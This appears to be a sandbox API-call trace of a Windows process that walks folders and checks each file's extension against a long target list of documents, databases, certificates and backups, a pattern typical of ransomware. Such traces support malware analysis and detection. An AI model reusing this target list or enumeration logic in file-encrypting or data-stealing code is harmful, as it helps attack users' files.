	[0062.035] lstrlenW (lpString=".obj") returned 4
	[0062.035] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".odb") returned 4
	[0062.035] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".odc") returned 4
	[0062.035] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".odm") returned 4
	[0062.035] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".odp") returned 4
	[0062.036] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".ods") returned 4
	[0062.036] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".oft") returned 4
	[0062.036] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".one") returned 4
	[0062.036] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".onepkg") returned 7
	[0062.036] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0062.036] lstrlenW (lpString=".onetoc2") returned 8
	[0062.036] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0062.036] lstrlenW (lpString=".opt") returned 4
	[0062.036] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".oqy") returned 4
	[0062.036] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".orf") returned 4
	[0062.036] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".p12") returned 4
	[0062.036] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".p7b") returned 4
	[0062.036] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".p7c") returned 4
	[0062.036] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".pam") returned 4
	[0062.036] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".pbm") returned 4
	[0062.036] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".pct") returned 4
	[0062.036] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".pcx") returned 4
	[0062.036] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".pdd") returned 4
	[0062.036] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".pdf") returned 4
	[0062.036] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.036] lstrlenW (lpString=".pdp") returned 4
	[0062.037] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".pef") returned 4
	[0062.037] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".pem") returned 4
	[0062.037] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".pff") returned 4
	[0062.037] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".pfm") returned 4
	[0062.037] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".pfx") returned 4
	[0062.037] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".pgm") returned 4
	[0062.037] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".php") returned 4
	[0062.037] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".php3") returned 5
	[0062.037] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0062.037] lstrlenW (lpString=".php4") returned 5
	[0062.037] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0062.037] lstrlenW (lpString=".php5") returned 5
	[0062.037] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0062.037] lstrlenW (lpString=".phtml") returned 6
	[0062.037] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0062.037] lstrlenW (lpString=".pict") returned 5
	[0062.037] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0062.037] lstrlenW (lpString=".pl") returned 3
	[0062.037] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0062.037] lstrlenW (lpString=".pls") returned 4
	[0062.037] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".pm") returned 3
	[0062.037] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0062.037] lstrlenW (lpString=".png") returned 4
	[0062.037] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".pnm") returned 4
	[0062.037] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0062.037] lstrlenW (lpString=".pot") returned 4
	[0062.037] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".potm") returned 5
	[0062.038] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0062.038] lstrlenW (lpString=".potx") returned 5
	[0062.038] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0062.038] lstrlenW (lpString=".ppa") returned 4
	[0062.038] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".ppam") returned 5
	[0062.038] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0062.038] lstrlenW (lpString=".ppm") returned 4
	[0062.038] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".pps") returned 4
	[0062.038] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".ppsm") returned 5
	[0062.038] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0062.038] lstrlenW (lpString=".ppt") returned 4
	[0062.038] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".pptm") returned 5
	[0062.038] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0062.038] lstrlenW (lpString=".pptx") returned 5
	[0062.038] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0062.038] lstrlenW (lpString=".prn") returned 4
	[0062.038] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".ps") returned 3
	[0062.038] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0062.038] lstrlenW (lpString=".psb") returned 4
	[0062.038] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".psd") returned 4
	[0062.038] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".pst") returned 4
	[0062.038] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".ptx") returned 4
	[0062.038] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".pub") returned 4
	[0062.038] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".pwm") returned 4
	[0062.038] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0062.038] lstrlenW (lpString=".pxr") returned 4
	[0062.038] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0062.039] lstrlenW (lpString=".py") returned 3
	[0062.039] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0062.039] lstrlenW (lpString=".qt") returned 3
	[0062.039] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0062.039] lstrlenW (lpString=".r3d") returned 4
	[0062.039] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0062.039] lstrlenW (lpString=".raf") returned 4
	[0062.039] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0062.039] lstrlenW (lpString=".rar") returned 4
	[0062.039] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.039] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.039] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.039] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.039] FindClose (in: hFindFile=0x7398d8 | out: hFindFile=0x7398d8) returned 1
	[0062.039] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.039] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0062.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0062.039] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7398d8
	[0062.040] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.040] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.040] lstrlenW (lpString="eula.rtf") returned 8
	[0062.040] lstrlenW (lpString=".1cd") returned 4
	[0062.040] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.040] lstrlenW (lpString=".3ds") returned 4
	[0062.040] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0062.040] lstrlenW (lpString=".3fr") returned 4
	[0062.040] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0062.040] lstrlenW (lpString=".3g2") returned 4
	[0062.040] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".3gp") returned 4
	[0062.041] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".7z") returned 3
	[0062.041] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.041] lstrlenW (lpString=".accda") returned 6
	[0062.041] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0062.041] lstrlenW (lpString=".accdb") returned 6
	[0062.041] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0062.041] lstrlenW (lpString=".accdc") returned 6
	[0062.041] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0062.041] lstrlenW (lpString=".accde") returned 6
	[0062.041] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0062.041] lstrlenW (lpString=".accdt") returned 6
	[0062.041] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0062.041] lstrlenW (lpString=".accdw") returned 6
	[0062.041] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0062.041] lstrlenW (lpString=".adb") returned 4
	[0062.041] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".adp") returned 4
	[0062.041] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".ai") returned 3
	[0062.041] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0062.041] lstrlenW (lpString=".ai3") returned 4
	[0062.041] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".ai4") returned 4
	[0062.041] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".ai5") returned 4
	[0062.041] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".ai6") returned 4
	[0062.041] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".ai7") returned 4
	[0062.041] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".ai8") returned 4
	[0062.041] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0062.041] lstrlenW (lpString=".anim") returned 5
	[0062.041] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0062.041] lstrlenW (lpString=".arw") returned 4
	[0062.041] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".as") returned 3
	[0062.042] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0062.042] lstrlenW (lpString=".asa") returned 4
	[0062.042] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".asc") returned 4
	[0062.042] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".ascx") returned 5
	[0062.042] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0062.042] lstrlenW (lpString=".asm") returned 4
	[0062.042] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".asmx") returned 5
	[0062.042] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0062.042] lstrlenW (lpString=".asp") returned 4
	[0062.042] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".aspx") returned 5
	[0062.042] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0062.042] lstrlenW (lpString=".asr") returned 4
	[0062.042] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".asx") returned 4
	[0062.042] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".avi") returned 4
	[0062.042] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".avs") returned 4
	[0062.042] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".backup") returned 7
	[0062.042] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0062.042] lstrlenW (lpString=".bak") returned 4
	[0062.042] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".bay") returned 4
	[0062.042] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".bd") returned 3
	[0062.042] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0062.042] lstrlenW (lpString=".bin") returned 4
	[0062.042] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".bmp") returned 4
	[0062.042] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0062.042] lstrlenW (lpString=".bz2") returned 4
	[0062.043] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".c") returned 2
	[0062.043] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0062.043] lstrlenW (lpString=".cdr") returned 4
	[0062.043] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".cer") returned 4
	[0062.043] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".cf") returned 3
	[0062.043] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0062.043] lstrlenW (lpString=".cfc") returned 4
	[0062.043] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".cfm") returned 4
	[0062.043] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".cfml") returned 5
	[0062.043] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0062.043] lstrlenW (lpString=".cfu") returned 4
	[0062.043] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".chm") returned 4
	[0062.043] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".cin") returned 4
	[0062.043] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".class") returned 6
	[0062.043] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0062.043] lstrlenW (lpString=".clx") returned 4
	[0062.043] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".config") returned 7
	[0062.043] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0062.043] lstrlenW (lpString=".cpp") returned 4
	[0062.043] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".cr2") returned 4
	[0062.043] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".crt") returned 4
	[0062.043] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".crw") returned 4
	[0062.043] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0062.043] lstrlenW (lpString=".cs") returned 3
	[0062.043] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0062.043] lstrlenW (lpString=".css") returned 4
	[0062.044] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".csv") returned 4
	[0062.044] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".cub") returned 4
	[0062.044] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".dae") returned 4
	[0062.044] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".dat") returned 4
	[0062.044] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".db") returned 3
	[0062.044] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0062.044] lstrlenW (lpString=".dbf") returned 4
	[0062.044] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".dbx") returned 4
	[0062.044] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".dc3") returned 4
	[0062.044] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".dcm") returned 4
	[0062.044] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".dcr") returned 4
	[0062.044] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".der") returned 4
	[0062.044] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".dib") returned 4
	[0062.044] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".dic") returned 4
	[0062.044] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".dif") returned 4
	[0062.044] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".divx") returned 5
	[0062.044] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0062.044] lstrlenW (lpString=".djvu") returned 5
	[0062.044] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0062.044] lstrlenW (lpString=".dng") returned 4
	[0062.044] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".doc") returned 4
	[0062.044] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.044] lstrlenW (lpString=".docm") returned 5
	[0062.045] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0062.045] lstrlenW (lpString=".docx") returned 5
	[0062.045] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.045] lstrlenW (lpString=".dot") returned 4
	[0062.045] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".dotm") returned 5
	[0062.045] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0062.045] lstrlenW (lpString=".dotx") returned 5
	[0062.045] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0062.045] lstrlenW (lpString=".dpx") returned 4
	[0062.045] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".dqy") returned 4
	[0062.045] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".dsn") returned 4
	[0062.045] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".dt") returned 3
	[0062.045] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0062.045] lstrlenW (lpString=".dtd") returned 4
	[0062.045] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".dwg") returned 4
	[0062.045] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".dwt") returned 4
	[0062.045] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".dx") returned 3
	[0062.045] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0062.045] lstrlenW (lpString=".dxf") returned 4
	[0062.045] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".edml") returned 5
	[0062.045] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0062.045] lstrlenW (lpString=".efd") returned 4
	[0062.045] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".elf") returned 4
	[0062.045] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".emf") returned 4
	[0062.045] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0062.045] lstrlenW (lpString=".emz") returned 4
	[0062.045] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".epf") returned 4
	[0062.046] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".eps") returned 4
	[0062.046] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".epsf") returned 5
	[0062.046] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0062.046] lstrlenW (lpString=".epsp") returned 5
	[0062.046] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0062.046] lstrlenW (lpString=".erf") returned 4
	[0062.046] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".exr") returned 4
	[0062.046] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".f4v") returned 4
	[0062.046] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".fido") returned 5
	[0062.046] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0062.046] lstrlenW (lpString=".flm") returned 4
	[0062.046] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".flv") returned 4
	[0062.046] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".frm") returned 4
	[0062.046] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".fxg") returned 4
	[0062.046] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".geo") returned 4
	[0062.046] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".gif") returned 4
	[0062.046] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".grs") returned 4
	[0062.046] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".gz") returned 3
	[0062.046] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0062.046] lstrlenW (lpString=".h") returned 2
	[0062.046] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0062.046] lstrlenW (lpString=".hdr") returned 4
	[0062.046] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0062.046] lstrlenW (lpString=".hpp") returned 4
	[0062.047] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".hta") returned 4
	[0062.047] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".htc") returned 4
	[0062.047] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
